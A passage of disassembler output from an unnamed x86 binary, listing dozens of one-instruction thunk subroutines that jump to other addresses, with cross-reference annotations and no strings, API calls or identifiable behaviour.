; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017F3 proc near ; CODE XREF: sub_406890+205p jmp sub_41B820 sub_4017F3 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017FD proc near ; CODE XREF: ___:00426A13p jmp sub_426A40 sub_4017FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401802 proc near ; CODE XREF: sub_41E660+FFp ; sub_41E660+179p ... jmp sub_421A80 sub_401802 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401807 proc near ; CODE XREF: sub_40A110+7p jmp sub_40A130 sub_401807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40180C proc near ; CODE XREF: sub_40B430+76p jmp sub_40B390 sub_40180C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401811 proc near ; CODE XREF: ___:00423E93p ; DATA XREF: ___:off_44444Co jmp sub_425020 sub_401811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401816 proc near ; CODE XREF: sub_41E660+18Ep ; ___:0043B183j jmp sub_4218F0 sub_401816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40181B proc near ; DATA XREF: ___:off_43E10Co jmp sub_426F20 sub_40181B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401820 proc near ; CODE XREF: ___:00416DDFp jmp sub_417DF0 sub_401820 endp ; --------------------------------------------------------------------------- jmp loc_42EC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182A proc near ; CODE XREF: sub_41E660+3BCp ; sub_4225B0+3p jmp sub_421C50 sub_40182A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182F proc near ; CODE XREF: sub_4266A0+90p jmp sub_426960 sub_40182F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401834 proc near ; CODE XREF: ___:0042436Dp ; sub_424840+135p jmp sub_4243A0 sub_401834 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401839 proc near ; CODE XREF: sub_40BE40+3p ; ___:0040BF0Fp ... jmp sub_40C080 sub_401839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40183E proc near ; CODE XREF: sub_4070F0+36p ; sub_4070F0+72p ... jmp sub_407340 sub_40183E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401843 proc near ; CODE XREF: ___:00413181p jmp sub_415680 sub_401843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401848 proc near ; CODE XREF: ___:0040B9D1p ; ___:0040BA98p ... jmp sub_412AA0 sub_401848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40184D proc near ; CODE XREF: ___:00431FEFp ; ___:004320FFp ... jmp sub_431B30 sub_40184D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401852 proc near ; DATA XREF: ___:004322AAo ; ___:00432410o jmp sub_431BA0 sub_401852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401857 proc near ; CODE XREF: sub_416360+7p jmp sub_416740 sub_401857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40185C proc near ; CODE XREF: sub_418330+34p jmp sub_404C20 sub_40185C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401861 proc near ; CODE XREF: sub_4034E0+7Ap ; sub_4034E0+9Ep ... jmp sub_409B40 sub_401861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401866 proc near ; CODE XREF: sub_420530+152p jmp sub_4207A0 sub_401866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40186B proc near ; CODE XREF: ___:0041A228p ; sub_41B010+3p ... jmp sub_41B040 sub_40186B endp ; --------------------------------------------------------------------------- jmp loc_429D70 ; --------------------------------------------------------------------------- jmp loc_41C0E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187A proc near ; CODE XREF: ___:00416A4Bp ; ___:00439F6Cj ... jmp sub_416D10 sub_40187A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187F proc near ; CODE XREF: sub_40FF60+217p ; sub_41FD90+4Cp ... jmp sub_41FD50 sub_40187F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401884 proc near ; CODE XREF: sub_429AA0+9Dp jmp sub_428160 sub_401884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401889 proc near ; CODE XREF: ___:0042C005p jmp sub_427DC0 sub_401889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40188E proc near ; DATA XREF: ___:0043E184o jmp sub_42A150 sub_40188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401893 proc near ; CODE XREF: sub_41B4B0+DDp jmp sub_41AD30 sub_401893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401898 proc near jmp sub_432ED0 sub_401898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40189D proc near ; CODE XREF: ___:004141C5p ; sub_414D40+1B2p jmp sub_413DA0 sub_40189D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A2 proc near ; CODE XREF: sub_411FE0+1B6p jmp sub_40A110 sub_4018A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A7 proc near ; CODE XREF: sub_41E660+5ABp jmp sub_4203D0 sub_4018A7 endp ; --------------------------------------------------------------------------- jmp loc_431D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B1 proc near ; CODE XREF: sub_40A910+14p jmp sub_40ABC0 sub_4018B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B6 proc near ; CODE XREF: sub_413510+B4p ; ___:00414B90p ... jmp sub_415620 sub_4018B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018BB proc near ; CODE XREF: sub_41A2B0+6Dp ; sub_41A2B0+1B5p jmp sub_41AF60 sub_4018BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C0 proc near ; CODE XREF: ___:004310DAp jmp sub_430A90 sub_4018C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C5 proc near ; CODE XREF: sub_418E90+5Fp jmp sub_419030 sub_4018C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CA proc near ; CODE XREF: ___:00416A9Bp ; ___:00439F26j ... jmp sub_4178F0 sub_4018CA endp ; --------------------------------------------------------------------------- jmp loc_419DD0 ; --------------------------------------------------------------------------- jmp sub_41A0E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018D9 proc near ; CODE XREF: sub_41E660+46p jmp sub_4218B0 sub_4018D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018DE proc near ; CODE XREF: ___:0042C135p jmp sub_4299C0 sub_4018DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018E3 proc near ; CODE XREF: sub_422130+7p jmp sub_422520 sub_4018E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018E8 proc near ; CODE XREF: sub_421FB0+9p ; sub_422410+18p jmp sub_422590 sub_4018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018ED proc near ; CODE XREF: sub_4221B0+8p jmp sub_422570 sub_4018ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F2 proc near ; CODE XREF: sub_4133D0+43p ; sub_4147D0+4Fp ... jmp sub_415730 sub_4018F2 endp ; --------------------------------------------------------------------------- jmp loc_430A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018FC proc near ; CODE XREF: sub_4219D0+1Fp jmp sub_421D50 sub_4018FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401901 proc near ; CODE XREF: sub_4218B0+11p ; sub_421D50+1Fp jmp sub_421E80 sub_401901 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401906 proc near ; CODE XREF: sub_40B390+6Dp jmp sub_40BD90 sub_401906 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40190B proc near ; CODE XREF: sub_409450+13p jmp sub_409580 sub_40190B endp ; --------------------------------------------------------------------------- jmp loc_4365C0 ; --------------------------------------------------------------------------- jmp sub_41B010 ; --------------------------------------------------------------------------- loc_40191A: ; DATA XREF: ___:off_43E068o jmp loc_416CE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40191F proc near ; CODE XREF: ___:00413B31p jmp sub_4139B0 sub_40191F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401924 proc near ; CODE XREF: ___:00413193p ; sub_413220+32p jmp sub_4154D0 sub_401924 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401929 proc near ; CODE XREF: ___:00416B4Bp ; ___:00439E8Cj ... jmp sub_417020 sub_401929 endp ; --------------------------------------------------------------------------- jmp loc_4310A0 ; --------------------------------------------------------------------------- jmp loc_4334F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401938 proc near ; CODE XREF: sub_41C610+F1p ; sub_41C610+270p ... jmp sub_420E10 sub_401938 endp ; --------------------------------------------------------------------------- jmp loc_40A400 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401942 proc near ; CODE XREF: sub_404C70+283p ; sub_40ED70+D2p ... jmp sub_40EF90 sub_401942 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401947 proc near ; CODE XREF: sub_4218F0+34p ; sub_422240+67p jmp sub_421ED0 sub_401947 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40194C proc near ; CODE XREF: sub_404C70+BF7p jmp sub_4066E0 sub_40194C endp ; --------------------------------------------------------------------------- jmp loc_432360 ; --------------------------------------------------------------------------- loc_401956: ; DATA XREF: sub_41FC00+39o jmp loc_41FB30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40195B proc near ; CODE XREF: ___:0041A19Ep ; sub_41A2B0+Bp ... jmp sub_41A290 sub_40195B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401960 proc near ; CODE XREF: ___:0041AB86p ; ___:0041AC66p jmp sub_41A890 sub_401960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401965 proc near jmp sub_419220 sub_401965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196A proc near ; CODE XREF: sub_411910+2Ep ; sub_411B10+3p jmp sub_411A50 sub_40196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196F proc near ; CODE XREF: sub_41E660+F5p ; sub_41E660+16Fp ... jmp sub_4219A0 sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401974 proc near ; CODE XREF: sub_409450+4p ; sub_409600+1Fp ... jmp sub_409500 sub_401974 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401979 proc near jmp sub_409A30 sub_401979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40197E proc near ; CODE XREF: sub_41F860+20p ; sub_429AA0+37p jmp sub_41FE50 sub_40197E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401983 proc near ; CODE XREF: sub_413510+4Ap ; ___:00414B3Fp ... jmp sub_415420 sub_401983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401988 proc near ; CODE XREF: sub_40A430+A8p jmp sub_40A850 sub_401988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40198D proc near ; CODE XREF: sub_40CBB0+41p jmp sub_40CE60 sub_40198D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401992 proc near ; CODE XREF: ___:00433405p ; ___:00433505p jmp sub_433160 sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401997 proc near ; CODE XREF: sub_4218F0+29p jmp sub_421DF0 sub_401997 endp ; --------------------------------------------------------------------------- jmp loc_42ECF0 ; --------------------------------------------------------------------------- jmp loc_42ECC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A6 proc near ; CODE XREF: sub_40A790+Dp ; sub_40A9F0+91p jmp sub_40A910 sub_4019A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019AB proc near ; CODE XREF: sub_422050+23p ; sub_422410+11p jmp sub_4225B0 sub_4019AB endp ; --------------------------------------------------------------------------- jmp loc_41AB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B5 proc near ; CODE XREF: sub_403FC0+2Cp ; ___:0040403Fp ... jmp sub_4034E0 sub_4019B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BA proc near ; CODE XREF: sub_422750+6p jmp sub_4227C0 sub_4019BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BF proc near ; DATA XREF: ___:off_43E050o jmp sub_416C30 sub_4019BF endp ; --------------------------------------------------------------------------- jmp sub_40FD70 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019C9 proc near ; CODE XREF: sub_407410+4p jmp sub_407540 sub_4019C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019CE proc near ; CODE XREF: ___:0040B629p ; ___:0040BA46p ... jmp sub_40B520 sub_4019CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019D3 proc near ; CODE XREF: sub_40FF60+AF4p ; sub_40FF60+E6Ap jmp sub_411B10 sub_4019D3 endp ; --------------------------------------------------------------------------- jmp loc_432940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019DD proc near ; CODE XREF: sub_4144D0+CEp jmp sub_414640 sub_4019DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019E2 proc near ; DATA XREF: ___:0043E1C8o jmp sub_42B880 sub_4019E2 endp ; --------------------------------------------------------------------------- loc_4019E7: ; DATA XREF: ___:off_43E0D0o jmp loc_41D730 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019EC proc near ; CODE XREF: sub_421A10+3p jmp sub_421F30 sub_4019EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019F1 proc near ; CODE XREF: ___:00416D8Fp jmp sub_40B0B0 sub_4019F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019F6 proc near jmp sub_4132E0 sub_4019F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019FB proc near ; CODE XREF: sub_41E660+477p jmp sub_4200F0 sub_4019FB endp ; --------------------------------------------------------------------------- jmp loc_421850 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A05 proc near ; DATA XREF: ___:0043E124o jmp sub_427650 sub_401A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A0A proc near jmp sub_411B40 sub_401A0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0F proc near ; CODE XREF: sub_4331D0+92p jmp sub_430940 sub_401A0F endp ; --------------------------------------------------------------------------- jmp loc_427FC0 ; --------------------------------------------------------------------------- jmp loc_426A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A1E proc near ; CODE XREF: sub_421DF0+32p jmp sub_422240 sub_401A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A23 proc near ; CODE XREF: ___:00416ADBp ; sub_416C30+3p ... jmp sub_416C00 sub_401A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A28 proc near ; CODE XREF: ___:00423A04p ; ___:004272F8p ... jmp sub_420D00 sub_401A28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A2D proc near ; CODE XREF: sub_422210+Ap jmp sub_422620 sub_401A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A32 proc near ; CODE XREF: ___:00412ECFp ; ___:00412F84p ... jmp sub_404640 sub_401A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A37 proc near ; CODE XREF: sub_409450+1Ap ; sub_409530+4p ... jmp sub_4094C0 sub_401A37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A3C proc near ; DATA XREF: ___:off_43E028o jmp sub_40FD70 sub_401A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A41 proc near ; DATA XREF: ___:0043E0E4o jmp sub_4266A0 sub_401A41 endp ; --------------------------------------------------------------------------- jmp loc_409D50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A4B proc near ; CODE XREF: sub_415AA0+1Ep jmp sub_416550 sub_401A4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A50 proc near ; CODE XREF: ___:0042F2F0p ; sub_430F00+36p ... jmp sub_430340 sub_401A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A55 proc near ; CODE XREF: sub_4137E0+3Ep jmp sub_433900 sub_401A55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5A proc near ; CODE XREF: sub_4149A0+3p jmp sub_4149D0 sub_401A5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5F proc near ; CODE XREF: ___:004081D0p ; ___:00408661p jmp sub_409490 sub_401A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A64 proc near ; DATA XREF: ___:0043E0E0o ; ___:0043E0F0o ... jmp sub_4263D0 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A69 proc near ; CODE XREF: sub_41D830+1ADp jmp sub_42C810 sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A6E proc near ; CODE XREF: sub_420530+191p ; sub_4227C0+3p ... jmp sub_4207C0 sub_401A6E endp ; --------------------------------------------------------------------------- jmp loc_42EFF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A78 proc near ; CODE XREF: sub_4225E0+5p jmp sub_422750 sub_401A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A7D proc near ; CODE XREF: ___:00416E4Ap jmp sub_418100 sub_401A7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A82 proc near ; CODE XREF: sub_407220+5p ; sub_407310+6p ... jmp sub_407460 sub_401A82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A87 proc near ; CODE XREF: sub_4034E0+90p ; sub_404C70+40Fp ... jmp sub_40A6A0 sub_401A87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A8C proc near ; CODE XREF: sub_41D830+2FFp ; sub_41EF30+52Fp jmp sub_41FD90 sub_401A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A91 proc near ; CODE XREF: ___:00431DCAp jmp sub_42F840 sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A96 proc near ; CODE XREF: sub_415490+1Fp jmp sub_415DD0 sub_401A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A9B proc near ; CODE XREF: sub_4034E0+E5p ; sub_409E70+Fp ... jmp sub_409DA0 sub_401A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA0 proc near ; CODE XREF: sub_431560+17p ; sub_431560+33p jmp sub_433710 sub_401AA0 endp ; --------------------------------------------------------------------------- jmp loc_433480 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_401AAF: ; DATA XREF: ___:off_43E0FCo jmp loc_426A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB4 proc near ; CODE XREF: sub_424E90+E5p ; sub_424E90+120p jmp sub_424D40 sub_401AB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB9 proc near ; DATA XREF: ___:off_43E034o jmp sub_411FE0 sub_401AB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ABE proc near ; DATA XREF: ___:0041FB33o jmp sub_41FA90 sub_401ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC3 proc near ; CODE XREF: sub_4070F0+Bp jmp sub_4072D0 sub_401AC3 endp ; --------------------------------------------------------------------------- jmp loc_432BA0 ; --------------------------------------------------------------------------- loc_401ACD: ; DATA XREF: ___:off_43E020o jmp loc_40B8D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD2 proc near ; CODE XREF: sub_403EE0+2Bp ; sub_403EE0+3Bp ... jmp sub_403D10 sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD7 proc near ; CODE XREF: sub_413510+66p ; sub_413510+CAp ... jmp sub_415650 sub_401AD7 endp ; --------------------------------------------------------------------------- jmp loc_41B780 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AE1 proc near jmp sub_4227F0 sub_401AE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AE6 proc near ; CODE XREF: ___:00416B2Bp ; ___:00439EA8j ... jmp sub_40B170 sub_401AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AEB proc near ; CODE XREF: ___:00421764p ; ___:0042179Ep jmp sub_4215D0 sub_401AEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AF0 proc near ; CODE XREF: sub_404BE0+15p jmp sub_4070F0 sub_401AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AF5 proc near ; DATA XREF: ___:off_43E0BCo jmp sub_41A0E0 sub_401AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AFA proc near ; CODE XREF: ___:00416F0Fp jmp sub_418900 sub_401AFA endp ; --------------------------------------------------------------------------- loc_401AFF: ; CODE XREF: ___:00438C76j jmp loc_40CAF0 ; --------------------------------------------------------------------------- loc_401B04: ; DATA XREF: ___:off_43E16Co jmp loc_429D70 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B09 proc near ; CODE XREF: sub_416FB0+28p jmp sub_418890 sub_401B09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B0E proc near ; CODE XREF: ___:004319E7p jmp sub_431A20 sub_401B0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B13 proc near ; CODE XREF: sub_42FF50+Bp jmp sub_4303D0 sub_401B13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B18 proc near jmp sub_40AEA0 sub_401B18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B1D proc near ; CODE XREF: ___:00418C7Bp ; sub_418E90+28p ... jmp sub_418F50 sub_401B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B22 proc near ; DATA XREF: ___:off_43E1B0o jmp sub_42B4F0 sub_401B22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B27 proc near ; CODE XREF: ___:00416A7Bp ; ___:00439F42j ... jmp sub_4179D0 sub_401B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B2C proc near ; CODE XREF: ___:00408706p ; ___:00408727p ... jmp sub_407660 sub_401B2C endp ; --------------------------------------------------------------------------- jmp loc_414AF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B36 proc near ; CODE XREF: sub_41C610+83p ; sub_4282C0+3Fp jmp sub_41D540 sub_401B36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B3B proc near ; CODE XREF: sub_41A890+11p jmp sub_41A8C0 sub_401B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B40 proc near ; CODE XREF: sub_41E660+339p jmp sub_421C10 sub_401B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B45 proc near ; CODE XREF: sub_414C70+3p jmp sub_414CA0 sub_401B45 endp ; --------------------------------------------------------------------------- jmp loc_432CA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4F proc near ; CODE XREF: sub_42FAA0+29p jmp sub_42F540 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B54 proc near ; CODE XREF: sub_40FDA0+38p ; ___:00439158j jmp sub_412BC0 sub_401B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B59 proc near jmp sub_40D580 sub_401B59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B5E proc near ; CODE XREF: sub_407660+3Bp ; sub_4076F0+43p jmp sub_40B430 sub_401B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B63 proc near ; CODE XREF: sub_4072D0+3p jmp sub_4074A0 sub_401B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B68 proc near ; CODE XREF: sub_424840+9Dp ; sub_424840+FBp ... jmp sub_4245F0 sub_401B68 endp ; --------------------------------------------------------------------------- loc_401B6D: ; DATA XREF: ___:off_43E084o jmp loc_425BD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B72 proc near ; CODE XREF: sub_40FF60+413p ; sub_40FF60+F69p ... jmp sub_409F60 sub_401B72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B77 proc near ; CODE XREF: ___:00425474p jmp sub_4254E0 sub_401B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B7C proc near ; CODE XREF: sub_422050+32p jmp sub_422410 sub_401B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B81 proc near ; CODE XREF: sub_41B4B0+A5p jmp sub_41A6D0 sub_401B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B86 proc near ; CODE XREF: sub_40BF60+23p ; sub_40C120+11p jmp sub_40C2C0 sub_401B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B8B proc near ; CODE XREF: ___:0042B833p jmp sub_42B860 sub_401B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B90 proc near jmp sub_41E140 sub_401B90 endp ; --------------------------------------------------------------------------- loc_401B95: ; DATA XREF: sub_42FF50+86o jmp loc_431650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9A proc near ; CODE XREF: sub_409530+20p jmp sub_409600 sub_401B9A endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BA4 proc near ; DATA XREF: ___:off_43E0A4o jmp sub_40CBB0 sub_401BA4 endp ; --------------------------------------------------------------------------- jmp loc_4309D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BAE proc near ; CODE XREF: sub_421BD0+1Fp jmp sub_421FB0 sub_401BAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BB3 proc near ; CODE XREF: sub_427520+39p jmp sub_4270E0 sub_401BB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB8 proc near ; CODE XREF: sub_415730+5p ; sub_415930+6p ... jmp sub_416380 sub_401BB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BBD proc near ; CODE XREF: sub_4303D0+5Dp ; sub_431730+3Ep jmp sub_4304D0 sub_401BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BC2 proc near ; CODE XREF: ___:00432129p ; ___:0043214Ap ... jmp sub_430C00 sub_401BC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BC7 proc near ; CODE XREF: ___:00425DA2p jmp sub_4269A0 sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BCC proc near ; CODE XREF: sub_41B3D0+3p jmp sub_41B400 sub_401BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD1 proc near ; CODE XREF: sub_428220+3p jmp sub_428250 sub_401BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD6 proc near ; CODE XREF: sub_422A40+924p ; ___:0042408Ap jmp sub_4258E0 sub_401BD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BDB proc near ; CODE XREF: sub_42D2C0+18Dp ; sub_42D2C0+1CDp ... jmp sub_42DFD0 sub_401BDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BE0 proc near ; CODE XREF: ___:0041426Cp jmp sub_414360 sub_401BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BE5 proc near jmp sub_40C360 sub_401BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEA proc near ; CODE XREF: sub_425020+8Bp jmp sub_424840 sub_401BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEF proc near ; CODE XREF: ___:0040B11Ep ; sub_40B170+34p 